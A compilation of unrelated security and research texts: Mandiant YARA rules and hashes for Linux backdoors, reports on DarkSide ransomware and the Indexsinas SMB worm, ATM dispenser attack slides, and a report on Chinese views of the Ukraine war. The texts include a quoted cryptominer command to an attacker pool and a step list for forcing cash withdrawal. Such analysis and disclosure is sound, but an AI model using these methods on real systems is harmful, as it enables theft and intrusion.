wide $ss13 = "gethostbyname" ascii fullword wide $ss14 = "connect" ascii fullword wide condition: uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*) } ``` ### Rule TINYSHELL_SPARC ``` rule TINYSHELL_SPARC { meta: author = "Mandiant" strings: $sb_xor_1 = { DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20 00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 } $sb_xor_2 = { C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00 00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 } condition: uint32(0) == 0x464C457F and (uint16(0x10) & 0x0200 == 0x0200) and (uint16(0x12) & 0x0200 == 0x0200) and 1 of them } ``` ### Rule SLAPSTICK ``` rule SLAPSTICK { meta: author = "Mandiant" strings: $ss1 = "%Y %b %d %H:%M:%S \x00" $ss2 = "%-23s %-23s %-23s\x00" $ss3 = "%-23s %-23s %-23s %-23s %-23s %s\x0a\x00" condition: (uint32(0) == 0x464c457f) and all of them } ``` ### Rule STEELCORGI ``` rule STEELCORGI { meta: author = "Mandiant" strings: $s1 = "\x00\xff/\xffp\xffr\xffo\xffc\xff/\xffs\xffe\xffl\xfff\xff/\xffe\xffx\xffe\x00" $s2 = "\x00\xff/\xffv\xffa\xffr\xff/\xffl\xffi\xffb\xff/\xffd\xffb\xffu\xffs\xff/\xffm\xffa\xffc\xffh\xffi\xffn\xffe\xff-\xffi\xffd\x00" $sb1 = { FE 1B 7A DE 23 D1 E9 A1 1D 7F 9E C1 FD A4 } $sb2 = { 3B 8D 4F 45 7C 4F 6A 6C D8 2F 1F B2 19 C4 45 6A 6A } condition: (uint32(0) == 0x464c457f) and all of them } ``` ## Indicators of Compromise | Malware | MD5 | SHA1 | SHA256 | |--------------|---------------------------------------|----------------------------------------------------|--------------------------------------------------| | STEELCORGI | e5791e4d2b479ff1dfee983ca6221a53 | e55514b83135c5804786fa6056c88988ea70e360 | 95964d669250f0ed161409b93f | | STEELCORGI | 0845835e18a3ed4057498250d30a11b1 | c28366c3f29226cb2677d391d41e83f9c690caf7 | 7d587a5f6f36a74dcfbcbaecb2 | | STEELCORGI | d985de52b69b60aa08893185029bcb31 | a3e75e2f700e449ebb62962b28b7c230790dc25d | cd06246aff527263e409dd779b | | TINYSHELL | 4ff6647c44b0417c80974b806b1fbcc3 | fa36f10407ed5a6858bd1475d88dd35927492f52 | 55397addbea8e5efb8e6493f3b | | TINYSHELL | 13f6601567523e6a37f131ef2ac4390b | 4228d71c042d08840089895bfa6bd594b5299a89 | 24f459a2752175449939037d6a | | TINYSHELL | 4e9967558cd042cac8b12f378db14259 | 018bfe5b9f34108424dd63365a14ab005e249fdd | 5f46a25473b9dda834519093c6 | | STEELHOUND | a4617c9a4bde94e867f063c28d763766 | 097d3a15510c48cdb738344bdf00082e546827e8 | 161a2832baba6ff6f9f1b52ed8 | ## MITRE ATT&CK **Discovery:** - T1016: System Network Configuration Discovery - T1018: Remote System Discovery - T1049: System Network Connections Discovery - T1082: System Information Discovery - T1083: File and Directory Discovery - T1135: Network Share Discovery **Lateral Movement:** - T1021: Remote Services - T1021.004: SSH **Credential Access:** - T1003: OS Credential Dumping - T1003.008: /etc/passwd and /etc/shadow - T1110: Brute Force - T1110.001: Password Guessing - T1552: Unsecured Credentials - T1552.003: Bash History - T1552.004: Private Keys - T1556.003: Pluggable Authentication Modules **Command and Control:** - T1090: Proxy - T1095: Non-Application Layer Protocol - T1105: Ingress Tool Transfer - T1572: Protocol Tunneling - T1573.001: Symmetric Cryptography **Execution:** - T1053.001: At (Linux) - T1059: Command and Scripting Interpreter - T1059.004: Unix Shell **Collection:** - T1056.001: Keylogging - T1560: Archive Collected Data - T1560.001: Archive via Utility - T1560.002: Archive via Library **Defense Evasion:** - T1014: Rootkit - T1027: Obfuscated Files or Information - T1070: Indicator Removal on Host - T1070.002: Clear Linux or Mac System Logs - T1070.004: File Deletion - T1070.006: Timestomp - T1140: Deobfuscate/Decode Files or Information - T1480.001: Environmental Keying - T1548.001: Setuid and Setgid - T1620: Reflective Code Loading **Persistence:** - T1543.002: Systemd Service - T1547.006: Kernel Modules and Extensions
# DarkSide Ransomware Links to REvil Group Difficult to Dismiss The first report of a DarkSide ransomware attack came on August 10, 2020, with early reports finding the ransomware to be highly customized with lucrative, million-dollar payouts from large corporate targets in finance, technology, and manufacturing industries. On that same day, the DarkSide actors launched their associated DarkSide website on Tor. ## Key Takeaways from Recent DarkSide Ransomware Events: 1. On May 10, 2021, the U.S. Federal Bureau of Investigation (FBI) issued a statement confirming that “the DarkSide ransomware is responsible for the compromise of the Colonial Pipeline networks,” with its pipeline systems taken offline since Friday, May 7, 2021. 2. “DarkSide” is a ransomware strain that was originally developed by Russian-speaking threat actors and has been active since August 2020. The ransomware is highly customized, designed to target large corporations in select industry verticals, particularly those in finance, technology, and manufacturing. 3. Flashpoint assesses with moderate confidence that the ransomware is a variant of “REvil” ransomware and is based on its code. 4. DarkSide ransom payment demands range widely from $200,000 to $2,000,000, depending on the size and possibly other associated characteristics of the targeted organization. 5. When DarkSide victims refuse to pay the ransom demand, the ransomware group follows through on its threat, releasing victims’ sensitive data on publicly visible websites. ## What Is DarkSide Ransomware and Where Did It Come From? DarkSide uses Salsa20 and RSA-1024 to encrypt victims’ files on Windows OS. It also allegedly comes in a version for Linux, although no samples are publicly available. The Linux version is said to be written in C++ and to use ChaCha20 and RSA-4096 for file encryption. Various industry reports suggest that the ransomware not only encrypts victims' data but also propagates laterally on the network and steals sensitive information from affected machines. If victims refuse to pay, their data is posted publicly on the DarkSide Tor website and offered for download. Although there is no publicly available information about the infection vector, compromised Remote Desktop Protocol (RDP) servers and custom phishing attacks are two highly plausible options. ## Operators Quickly Expand DarkSide to Ransomware-as-a-Service (RaaS) Model The first DarkSide ransomware attacks were all owner-operated, but after a few successful months, the owners began to expand their operations. On November 10, DarkSide operators announced on Russian-language forums XSS and Exploit the formation of their new DarkSide affiliate program providing partners with a modified form of their DarkSide ransomware to use in their own operations. It’s worth noting that DarkSide actors have pledged in the past to not attack organizations in the medical, education, nonprofit, or government sectors. At one point, they also advertised that they donate a portion of their profit to charities. However, neither claim has been verified and should be met with a heightened degree of scrutiny; these DarkSide operators would be far from the first cybercriminals to make such claims and not follow through. ## DarkSide Operators Likely Former “REvil” Affiliates Flashpoint assesses with moderate confidence that the threat actors behind DarkSide ransomware are of Russian origin and are likely former affiliates of the “REvil” RaaS group. Several facts support this attribution: - Spelling mistakes in the ransom note and grammatical constructs of the sentences suggest that the writers are not native English speakers. - The malware checks the default language of the system to avoid infecting systems based in the countries of the former Soviet Union. - The design of the ransom note, wallpaper, file encryption extension and details, and inner workings bear similarities to “REvil” ransomware, which is of Russian origin and has an extensive affiliate program. This shows the evolution path of this ransomware and ties it to other Russian-origin ransomware families. - The affiliate program is offered on Russian-language forums XSS and Exploit.
# SMB Worm “Indexsinas” Uses Lateral Movement to Infect Whole Networks ## Executive Summary Guardicore reveals new details in the Indexsinas SMB worm, also dubbed NSABuffMiner. The attack campaign has been active since 2019 and is still under operation and maintenance today. Targeted devices are SMB servers vulnerable to EternalBlue (MS17-010). According to Shodan, there are more than 1.2 million internet-facing SMB servers today. The attack makes vast use of the Equation Group exploit kit, which includes the EternalBlue exploit as well as the DoublePulsar backdoor. Victims include organizations in the healthcare, hospitality, education, and telecommunications sectors. Guardicore Labs published a GitHub repository with all IOCs for this campaign as well as a detection tool in PowerShell. Guardicore Labs exposes new details of a massive attack campaign dubbed Indexsinas (also known as “NSABuffMiner”) which breaches networks through SMB servers and makes aggressive use of lateral movement to propagate. The attack campaign targets Windows servers vulnerable to EternalBlue (MS17-010) and still infects machines worldwide. Propagation is achieved through the combination of an open-source port scanner and three Equation Group exploits – EternalBlue, DoublePulsar, and EternalRomance. These exploits are used to breach new victim machines, obtain privileged access, and install backdoors. These exploits appear to still be highly successful despite being made public four years ago after their first occurrence in the WannaCry and NotPetya cyberattacks. Indexsinas proves that networks today are vulnerable to even non-targeted, opportunistic attack campaigns. ## Attack Scope The Indexsinas campaign started attacking Guardicore Global Sensors Network (GGSN) at the beginning of 2019 and is still active today. Guardicore’s sensors have recorded over 2,000 attacks since we began tracking the campaign. The attacks originated from over 1,300 different sources, with each machine responsible for only a few attack incidents. Source IPs – which are likely to be victims of the attacks themselves – are mostly located in the U.S., Vietnam, and India. Analysis of these IPs demonstrates that various sectors were infected by Indexsinas including hotels, universities, medical centers, government agencies, and telecommunication companies. The Indexsinas attackers are careful and calculated. The campaign has been running for years with the same command-and-control domain, hosted in South Korea. The C2 server is highly protected, patched, and exposes no redundant ports to the internet. The attackers use a private mining pool for their cryptomining operations, which prevents anyone from accessing their wallets’ statistics. ## Attack Flow The attack flow consists of many batch scripts, executable payloads, downloaders, services, and scheduled tasks. A prominent characteristic of the campaign is its competitiveness; it terminates processes related to other attack campaigns, deletes their file system residues, and stops services created by other attack groups. It also attempts to evade detection by killing programs related to process monitoring and analysis. In addition, it makes sure to delete its own files immediately after execution. ### Breach and the 1st Stage Downloader The attack begins when a machine is breached through RPC or SMB servers, using the NSA’s exploitation tools. These exploits run code in the victim’s kernel and are capable of injecting payloads to user-mode processes using asynchronous procedure calls (APCs). Indexsinas uses the exploits to inject code to either explorer.exe or lsass.exe. The injected payloads – EternalBlue.dll for 32-bit and DoublePulsar.dll for 64-bit – download three executable files from the main C2 server. **Files Downloaded at Stage #1** | 32-bit | 64-bit | |----------------|----------------| | c64.exe | iexplore.exe | | 86.exe | services.exe | | | 64.exe | ### Persistence, Remote Access & C2 Reporting [86.exe, 64.exe] The 86.exe and 64.exe files contain a whole, reversed DLL, a Portable Executable file turned upside down, with “ZM” at the end (instead of “MZ” at the beginning). This DLL is a remote access tool (RAT), a version of Gh0stCringe. It is dropped to a random path and loaded into memory. Then, two of its exported functions are called – Install and MainThread. The first installs the RAT by creating a service under svchost, namely, it creates a registry key for the new service with svchost.exe as its executable and uses the path to the DLL as the ServiceDLL parameter. The second function performs the core functionality. It waits for commands from the C2 and reports machine information to it – computer name, malware group ID, installation date, and CPU technical specs. The tool has various capabilities; it can download and execute additional modules, install them as services, and interact with the user by opening message boxes and presenting URLs in Internet Explorer. **Remote Access Tool (DLL)** | Exported Functions | Description | |--------------------|-------------| | Install | Installs a service whose image is the DLL itself. The service runs under svchost. | | MainThread | Performs C2 communication; sends machine information and receives C2 commands. | | ServiceMain | Gains elevated privileges by obtaining the SYSTEM user’s token. | | Uninstall | Removes the malware from the system completely. | | DllUpdate | Updates the DLL to a newer version. | ### Cryptominer [iexplore.exe, services.exe] The iexplore.exe and services.exe files install two services using a tool masqueraded as svchost.exe. The first service – MicrosotMaims – is responsible for dropping a cryptominer through an additional file named conhost.exe. The second – MicrosotMaim – simply runs the cryptominer module. The miner process is named d1lhots.exe; it is compiled from XMRig, mines Monero, and is executed via the command line below. ``` d1lhots -o stratum+tcp://a.ccmd.website:1188 -u Bing1 -k –max-cpu-usage=50 –donate-level=1 -r3 –asm=AUTO –print-time=3 –nicehash ``` iexplore.exe drops two additional scripts. The first – chosts.bat – is a batch script which modifies the local firewall rules using ipsec and blocks any incoming traffic to SMB and RPC ports (135, 137, 138, 139, and 445). The second script – tem.vbs – is used to delete both iexplore.exe and itself. ### Propagation [c64.exe] Another payload which is downloaded as part of the 1st stage is c64.exe, which in turn drops two files. The first is xfsxdel~.exe and is only used to delete c64.exe from disk. The second is ctfmon.exe – the propagation tool. ctfmon.exe is responsible for finding potential victims and exploiting them using Equation Group’s tools – and it does that extremely thoroughly. It uses exploits for both 32-bit and 64-bit machines and scans both RPC (TCP 139) and SMB (TCP 445) ports. Moreover, it tries to move laterally within the organizational network as well as spread across the internet. ctfmon.exe executes a batch script same.bat. This script initiates two flows: one for lateral movement within the network, and the other for spreading on the internet. The two flows are similar in their sequence: A daily scheduled task runs a batch script, which installs a service. The service runs another batch script which performs the port scanning and exploitation. The batch scripts in these flows also uninstall competitors’ services, terminate their processes, and delete their files. In addition, they clean old Indexsinas traces. **General Propagation Scheme** 1. **Lateral Movement.** The scheduled task At2 runs daily. It executes a batch script – wai.bat – which installs a service called MicrosoftMssql. The service runs bat.bat, which scans known private IP ranges. 2. **Internet Worm.** The scheduled task At1 runs daily. It executes a batch script – nei.bat – which installs a service called MicrosoftMysql. The service runs cmd.bat, which scans the class C subnet of the victim’s public IP address. Indexsinas makes use of an open-source port scanner called s that is compiled into an executable file titled taskhost.exe. The scanner outputs a list of servers whose SMB ports are open in a file called Results.txt. Then, each IP in that list is attacked using Equation Group’s exploits. Upon successful exploitation, DoublePulsar.dll (for 64-bit) or EternalBlue.dll (for 32-bit) are injected into the victim machine’s kernel and the attack flow starts all over again on the newly-infected machine. ## Detection and Prevention ### Detection Guardicore Labs publishes a detection tool in PowerShell which identifies malicious indicators of compromise on a Windows machine. Execute this script from a command line prompt to see whether the system is infected or not. Detailed instructions can be found in Guardicore Labs’ GitHub repository. ### Prevention with Visibility and Segmentation Indexsinas and other attack campaigns leverage vulnerable SMB servers to breach networks and move laterally inside them. There are more than 1 million SMB servers accessible to anyone on the internet, and many of them still vulnerable to MS-17010; this is exactly what makes Indexsinas and similar attack campaigns profitable. The keys to recognizing vulnerable entry points within your organization and preventing attacks from propagating within the network are visibility and segmentation. It is crucial that network administrators, IT teams, and security personnel be able to easily identify assets and the services they run. Specifically, it should be easy to spot internet-facing servers, SMB included. With visibility in place, network admins would want to limit the access from and to different assets and the network services they expose. The following are examples of policy rules which can protect your organization’s SMB servers: - Access from the internet over SMB is not allowed, except from certain authorized IP addresses to a file server in the DMZ. - SMB traffic inside the network is blocked, except for Domain Controllers and SMB file servers. The threat of lateral movement is as worrying as the threat of ransomware. On June 2nd, the U.S. White House sent an open letter to corporate executives and business leaders in the private sector, urging them to take action and defend their organizations from ransomware. One paragraph stands out in this memo as it addresses the data center’s network itself, clearly stating the importance of segmenting corporate networks. Network segmentation not only prevents an attacker from moving laterally and reaching strategic assets and crown jewels in the network; it also helps minimize damage (reduce the blast radius) by creating boundaries between servers in the network and limiting the network traffic between them. **Segment your networks:** There’s been a recent shift in ransomware attacks – from stealing data to disrupting operations. It’s critically important that your corporate business functions and manufacturing/production operations are separated and that you carefully filter and limit internet access to operational networks, identify links between these networks, and develop workarounds or manual controls to ensure ICS networks can be isolated and continue operating if your corporate network is compromised. Regularly test contingency plans such as manual controls so that safety-critical functions can be maintained during a cyber incident. But don’t be misled by the title mentioning only the “threat of ransomware.” Lateral movement inside a compromised network can be used to drop any type of payload – be it ransomware, remote access tools, backdoors, and cryptominers. Lateral movement is the real threat whereas ransomware is only one motive implementing it. In the case of Indexsinas, lateral movement is used to infect as many machines as possible with a remote access tool and a cryptominer. Network segmentation is crucial in preventing such campaigns from spreading and disrupting business operations. ## Indicators of Compromise Please see the full lists of IOCs in our GitHub repository. **Domains** 1. indexsinas.me 2. a.ccmd.website **Mutexes** 1. ipip.website 2. dllhost.website **Service Names** 1. MicrosotMaims 2. MicrosotMaim 3. MicrosoftMysql 4. MicrosoftMssql 5. Services **Scheduled Tasks** 1. At1 2. At2
# Blackboxing Diebold-Nixdorf ATMs **Vladimir Kononovich** Senior ICS Security Specialist **Alexei Stennikov** Independent Researcher ## Who are we? **Vladimir Kononovich:** - Reverse-engineering (since 2008) - Romhacking (my hobby) - Writing tools for IDA/Ghidra - Ghidra ideologist **Alexei Stennikov:** - Hardware expert - ICS/SCADA security researcher - ATM/POS security researcher - Some skills of RE ## ATM hardware internals - Less-secure upper part - Safe-zone (lower part) Safe-zone includes a dispenser controller ## Our previous talk at hw.io - ATM internals - ATM attacks types - What is Blackbox attack? - NCR dispensers vulnerability ## Paderborn, we have a problem - FW downgrade - Modified FW uploading - SmartCard DoS “feature” - Encryption bypass - Withdrawal ## RM3/CMDv5 firmware files - BTR (bootloader) - FRM (main firmware) Parts: - RM3_CRS.BTR / CD5_ATM.BTR - RM3_CRS.FRM / CD5_ATM.FRM Files: - Device id - Product id - Vendor id - ? - “UFD” - ? - CRC32 - Some size - Firmware part name The rest is encrypted. No chance to decrypt. Thank you for watching! Bye:) ## Demo ### JTAG: Identifying connector & pins 1. VREF 2. VSUPPLY 3. nRST 4. GND 5. TDI 6. GND 7. TMS 8. GND 9. TCK 10. GND 11. RTCK 12. GND 13. TDO 14. GND 15. nRST 16. GND 17. DBGRQ 18. GND 19. DGBACK 20. GND ## Another interesting place: Smartcard - USB encryption keys generation - Session numbers/keys storage - Different counters - Certificates storage - A whole system DoS ## Powering and testing FW uploading - + USB connection - + Java-based software (easy to decompile and modify) ## Firmware dumping (CMDv5) - Main CPU: STM STR710FZ2T6 - Image base: 0x60000000 - Two other CPUs: - CollectorBooter: STR730FZ2T6 - DispenseBooter: STR730FZ2T6 ## Firmware analysis (CMDv5) 1. Read 5 LE-dwords after a $MOD$ name (header-dwords, HD) 2. key[n] = KEY1[n] ^ HD[n]; // where n: 0..3 3. data[0] = KEY0[0] ^ HD[0] ^ HD[1]; data[1] = KEY0[1] ^ HD[2] ^ HD[3]; Encryption algo – XTEA mod. DELTA: 0xF27716BA. Rounds: 32 - KEY0 and KEY1 are unknown yet! Init: ## Firmware analysis (summary) What we know: 1. Self-signed firmware (public key is in the same binary!) 2. APLib packed sequential blocks 3. Modified XTEA encryption algorithm (different DELTA) 4. XTEA encryption keys can be bypassed (VULN IS HERE!) 5. DFU protocol (uploading firmware into a dispenser) ## USB Communications (steps) 1. Basekey initialization 2. New session keys generation 3. Session counters synchronizing ## USB Communications (Basekey init) To generate a new Basekey you need: 1. ROOT-certificate 2. Intermediate CA-certificate 3. Terminal Encryption certificate (issued by CA) 4. Terminal Authentication certificate (issued by CA) We don’t have any of them… :( (and don’t need them) ## USB Communications (session key) How to generate a new session key (PC): 1. BK = Read the Basekey from the Keystorage (its key in TPM) 2. SESSION_KEY_XXX = SHA1(BK) + session_counter + direction We have four directions: PC_FW_OUT, PC_FW_IN, FW_PC_OUT, FW_PC_IN SmartCard also checks for the same counter usage + makes its increment How to generate a new session key (Firmware): 1. SESSION_KEY_XXX = SmartCard(session_counter + direction) ## USB Communications (session sync) To synchronize session counters you need: 1. ChannelID (server=2, client=1) 2. Basekey length 3. Basekey Check Value (KCV) (first 3 bytes of SHA1(Basekey) 4. Session counters for USB client/server IN/OUT Basekey can be read from the Keystorage file too Response has the same parameters so we can sync session counters ## Abusing session counters (DoS) Steps to reproduce: 1. session_counter = 0xFFFFFFFF 2. SESSION_KEY_XXX = SmartCard(session_counter + direction) SmartCard generates a new key, but no new key can be generated after! ## USB comms analysis (summary) What we know: 1. TPM usage (awesome!) 2. Keystorage usage (awesome!) 3. Four encryption keys directions (awesome!) 4. SmartCard usage (awesome!) 5. SmartCard “feature” (can disable a whole ATM, but won’t allow to take the money!) ## USB Communications (withdrawal) Steps to perform a withdrawal: 1. Patch FW to skip asking SmartCard for a session key (use some dummy array) 2. Patch Java code to use the same dummy array as the key 3. Patch Java code to skip checks for cashIn and cashOut configs 4. Sync session counters (PC = SmartCard) 5. Write a new cassettes config to the dispenser’s EEPROM 6. Call prepareCashOut() 7. Call cashOut(cassetteNum=3, banknotesNum=5) 8. Call shutter.open() 9. Take the money! 10. Close the shutter ## Vulnerabilities disclosure timeline 1. Q3 2018 – vendor has been informed about vulnerabilities 2. Q4 2018 – official PoC tests were performed, vulnerabilities have been proven 3. Q4 2018 – CVE IDs were registered 4. Q1 2021 – vendor informed us that vulnerabilities were fixed in 2019 5. Q3 2021 – <Russian Mitre> IDs: - BDU:2021-04967 - BDU:2021-04968 ## Thank you **Contacts:** [email protected]
# The Media Environment and Domestic Public Opinion in China Toward Russia’s War On Ukraine Editor’s Note: The research presented below was conducted during the week of February 28, with collection and conclusions finalized on March 3. While relevant information regarding China’s official position and media environment towards the conflict in Ukraine continues to come to light, we believe our findings are an accurate representation of the situation at the time this report was written and likely continue to be accurate as of the publication date. China’s position on Russia’s war on Ukraine is complex, confused, and contradictory, attempting to balance friendship with Russia, opposition to the United States, aversion to the instability caused by the war, and protection of China’s international image as a respectable power that advocates sovereignty for all countries. Ultimately, China’s position is more supportive of Russia than not. The result is that official public messaging domestically has downplayed Russia’s war on Ukraine, limited coverage of anti-war protests overseas, and suppressed dissenting sentiment within China. Pro-Russian, anti-Ukraine, anti-European Union, and anti-US voices and narratives are proliferating under this approach while expressions of support for Ukraine and anti-war sentiments are censored. It is not possible to make a conclusive statement on what the majority of Chinese people believe with regard to the war, but based on our preliminary research it is likely that many genuinely support Russia, in part due to Russian narratives and propaganda, while many genuinely disapprove of the war. The latter group is likely a largely silent or silenced group. Suppression of anti-Russia and pro-Ukrainian opinions may not be limited to China’s citizenry alone, as unverified sources suggest that police forces in China are also contacting outspoken Ukrainians in China. Additionally, faced with negative domestic and international reactions to some online content, government authorities are blaming separatist forces in Taiwan and Xinjiang. ## Limitations to This Research This report defines public opinion as opinions outside of government sources, meaning any public expression toward the situation in Ukraine that does not come from policymakers or government spokespersons. Our definition also excludes expressions by organizations demonstrably or almost certainly led by the Chinese Communist Party (CCP). However, assessing genuine public opinion in China is difficult for several reasons. First, the significant levels of censorship in China, especially online, mean that the most visible and discoverable expressions of public opinion generally fall within acceptable bounds established by the authorities. Several instances of anti-war expression have already been censored, making it more likely that pro-Russian narratives become mainstream. Second, because the CCP places significant emphasis on “guiding” public opinion through overt and covert means, online content and comments are not necessarily reflective of what an ordinary citizen believes. Even without demonstrable proof of a connection to the CCP, it is possible that any particular expression is not organic but is made with an objective in mind that may not conform to the true feelings of the one who expressed it. However, it is also inaccurate to discount all public opinion toward Ukraine that is in line with China’s official position as propaganda. Third, whether social media activity is reflective of broader views toward an issue in any country is debatable; the medium is driven by emotion and the loudest voices are not necessarily representative of general society. All that can be said conclusively as of this writing is that there is a diverse range of opinions in China toward Russia’s war on Ukraine. ## The Official Position and Party-State Media China’s position on Russia’s war on Ukraine is muddled, attempting to balance competing priorities that are in some ways fundamentally opposed to each other, and party-state media promotes and censors content according to this shifting position. Officially, authorities and party-state media outlets have not named Russia’s war on Ukraine an “invasion” or a “war.” Instead, they typically refer to this as the “Ukraine issue” (乌克兰问题), “Ukraine situation” (乌克兰局势), or “Ukraine crisis” (乌克兰危机), and occasionally as a “special military action” (特殊军事行动) by Russia or as “hostilities” (战事). China’s 5-point position on Ukraine, as explained by Foreign Minister Wang Yi on February 25, 2022, emphasizes a peaceful resolution and “sustainable security concept” (可持续的安全观) that respects the concerns of all parties equally and safeguards territorial integrity and sovereignty. Based on Ministry of Foreign Affairs press conferences, stability is at the forefront of China’s concerns. At the same time, however, China’s leadership broadly supports Russia’s position that the North Atlantic Treaty Organization (NATO) and the US are most at fault for the current conflict. Further, as communicated in a joint China-Russia statement on February 4, 2022, the two countries see themselves as forming a new type of international system that more equitably redistributes power from “the West.” Therefore, China’s leadership likely reluctantly supports Russia’s war on Ukraine while simultaneously wishing it had not taken place and hoping that it will be resolved quickly. Tacitly supporting the war is likely viewed as preferable to overtly siding with the US and EU against Russia, but it is also the case that some state-owned Chinese banks have begun limiting financing for some Russian entities, despite China’s official opposition to sanctions. China’s official domestic public messaging is linked to, and sways with, the country’s overall political stance. In the current context, it has downplayed Russia’s war on Ukraine and limited coverage of anti-war protests overseas. Although foreign-facing, English-language outlets like China Global Television Network (CGTN) display news about Ukraine relatively prominently on their homepages, domestic media is much more muted. For example, China Central Television (CCTV) allotted only the last two and a half minutes of its news broadcast to Ukraine on February 28. The front page of Xinhua’s website on March 1 had only four relatively buried links to stories about Ukraine and its special page for Ukraine coverage, titled the “Ukraine situation” (乌克兰局势). The People’s Daily’s print edition first page has not made any reference to Ukraine since the start of the war. On February 25, Wenhao Ma, a reporter with Voice of America, shared via American social media his analysis of Ukraine war coverage on Chinese domestic outlets The Paper, Beijing News, and Caijing, finding no coverage of anti-war protests in Russia. Ma also found that while CGTN discussed anti-war protests on foreign social media, it was not doing so on Weibo (a prominent Chinese social media platform). Ma and others further assert that smaller domestic outlets that had previously covered the protests had begun deleting this content. Corroborating this finding, a branch of Beijing News shared, almost certainly by accident, internal corporate censorship instructions regarding its media activity on Weibo. The instructions stated: “Do not post anything unfavorable to Russia or pro-Western. … Pay real attention to which comments are allowed. Keep an eye on [responses to] each post for at least two days. … If using hashtags, only use those started by People’s Daily, Xinhua, or CCTV.” ## Pro-Russia, Anti-Ukraine, and Anti-West Public Opinion It is almost certain that some portion of the general public in China genuinely supports Russia’s war on Ukraine, Putin’s leadership, the stated reasons for the war, or some combination of these aspects, in line with China’s official position. For example, a now-deleted Weibo post shared on American social media shows how a businessperson in China had a text conversation with a business client in Russia in which the poster (the Chinese businessperson) expressed praise for Putin and “everything he has done for” Russians. The client responded, per screenshots shared in the posts, that Putin is “not a hero, he is just a crime person,” to which the poster stated they “had not thought” that Russians would be opposed to Putin. Some responses to this post continued to argue that they supported Putin’s action as a preemptive strike to protect Russia against NATO aggression. Searching Weibo for “real-time” posts mentioning “Ukraine,” which tends to filter out the posts by large media and CCP-led organizations, reveals largely pro-Russian and anti-Ukraine comments. Examples of such commentary include: - Reacting to a video titled “War Crimes and Crimes Against Humanity Committed by the Ukrainian Military-Political Leadership in Donbass,” a social media user asserted that “Ukraine is against humanity! ... Foreign media are completely silent.” This video was posted on February 28 and has more than 2.5 million views as of this writing; it is reportedly distributed by the Russian Foreign Ministry. - A separate post asserts “I … sympathize with the Ukrainian people, and hope that Russia will win. Russia is much more humane than Ukraine when it treats prisoners well and considers the safety of civilians. I admire Putin!!” - Reacting to the hashtag “Russia will host the first international anti-fascist conference,” a social media user said “God, in the 21st century I still have the opportunity to see the words anti-fascism. Russia is so powerful.” - Responding to a video posted by a Ukrainian woman about why Ukrainians elected President Volodymyr Zelenskyy, a post asserts: “Invite this pretty girl to quickly transmit to the … president of Ukraine, you must immediately stay away from evil America and NATO. Sincerely stop acting and give a peaceful life to all the Ukrainian people!” - Another post amplifies Russian justifications for the war on Ukraine, reading: “Ukrainian Azov Battalion, you can see from the picture that they are a force of evil. Therefore, I don’t need to say more about what kind of opponent Russia is facing. #Russian foreign minister says Ukraine is preparing to launch a provocation#.” A series of linked posts highlight how one-sided the narrative on Weibo has likely become: a post with 17,000 likes states that “reading Weibo really makes [a person] angry, [I] almost believed that the whole world is uniting to contain Russia.” Presumably, this is due to the high number of comments lamenting international backlash against Russia’s actions. However, this post continues, many countries are now or have been previously against the Russia sanctions, including India, Pakistan, many South American countries, all of Africa, and China. In reply to this post, a separate social media user joked that “I read Weibo, [and] I almost thought it was not Russia fighting Ukraine, but Ukraine fighting Russia.” This reply post itself garnered 15,000 likes, a possible sign that many Chinese social media users get the same impression and likely know this is not the case despite the preponderance of pro-Russian content. ## Anti-Russia and Anti-War Public Opinion Not all social media users are overtly supportive of Russia. For example, in the same searches performed above were multiple posts that lamented China’s friendship with Russia since Putin’s actions would create trouble for China. Other posts expressed concern for Chinese people in Ukraine, asserting that evacuation work needs to be accelerated. Still others online express concern that inflammatory topics and overtly pro-Russia statements could lead to Chinese people in Ukraine becoming targets of armed citizens. Anti-war sentiment on Weibo has been highlighted by other researchers since Russia’s war on Ukraine began; for instance, journalist Wilfred Chan shared on American social media a now-deleted February 24 Weibo post that asserts: “As Chinese people who have also been invaded by foreign powers, we should be able to experience the anguish of being violated by a country that’s several times stronger than you. … If we are still cheering on Russia, how are we different from those who cheered on Japan when they invaded our country?” This same post nevertheless attributed the current situation to Ukraine wanting to join NATO. While discoverable, such posts are much harder to find and appear less frequent than pro-Russia content. This is probably due to a combination of censorship and peer pressure; as documented by the Washington Post, “Anti-war views have been met with derision online, with critics referring to such peace proponents as sanctimonious ‘Virgin Marys’ or as hypocrites that oppose all wars except those launched by the United States.” Beyond Weibo, other forms of anti-war public opinion can be found in a variety of actions. Examples of these actions are listed below, but in general such actions are very likely subject to censorship: - A poem published on WeChat is titled “I pray a poem can stop a tank.” - Public display of “STOP WAR” signs by individuals in China. A specific case in Hangzhou ended when authorities forced the demonstrator to put down the sign and leave the area. - Publication of a joint statement by five professors on WeChat stated: “Autocracy will not only destroy the progress of civilization and the principle of international justice but also bring enormous shame and catastrophe to the Russian people … We stand against an unjust war.” The statement has been removed and is no longer available. - Taobao stores are selling pro-Ukraine and anti-war T-shirts. Like censorship of anti-war expressions by Chinese people, vocal Ukrainians are also allegedly being interrogated by police. This allegation comes from a consulate note sent by Ukraine’s consulate in Shanghai to provincial authorities in China. We cannot independently verify the letter as of this writing, but it appears genuine. It states that Ukrainians have received in-person visits and phone calls from Chinese police about their opposition to Russia’s leadership. The letter does not state where the Ukrainians are located or how they were expressing their opinions. The letter only says that it has received “a high volume” of complaints from overseas (meaning outside of China). Presumably, the Ukrainians targeted by police are located in China, were using Chinese social media, and told their overseas relatives about the police action, who subsequently contacted the Shanghai consulate. ## Other Opinions, Mockery, and Official Response The South China Morning Post reported on February 26 that several Chinese social media platforms, including WeChat and Douyin, were removing “objectionable” content related to the situation in Ukraine. Examples cited include “false information alleging that [overseas] students can receive course credits for enlisting to fight in Ukraine, as well as ‘vulgar’ messages calling on ‘beautiful Ukrainian women’ to go to China.” The latter category of statements, some of which advocate “capturing” Ukrainian women, has garnered negative attention and criticism within China. In an article originally posted by a unit of the Cyberspace Administration of China on WeChat on February 26, this strain of commentary has been attributed to “Taiwan and Xinjiang independence forces.” The article highlights other examples of “adopt a Ukrainian” rhetoric accompanied by images of women on foreign social media platforms. This article, and others such as this Global Times screed attacking SupChina (a media outlet that highlighted the proliferation of misogynistic comments), are likely meant to defend China’s 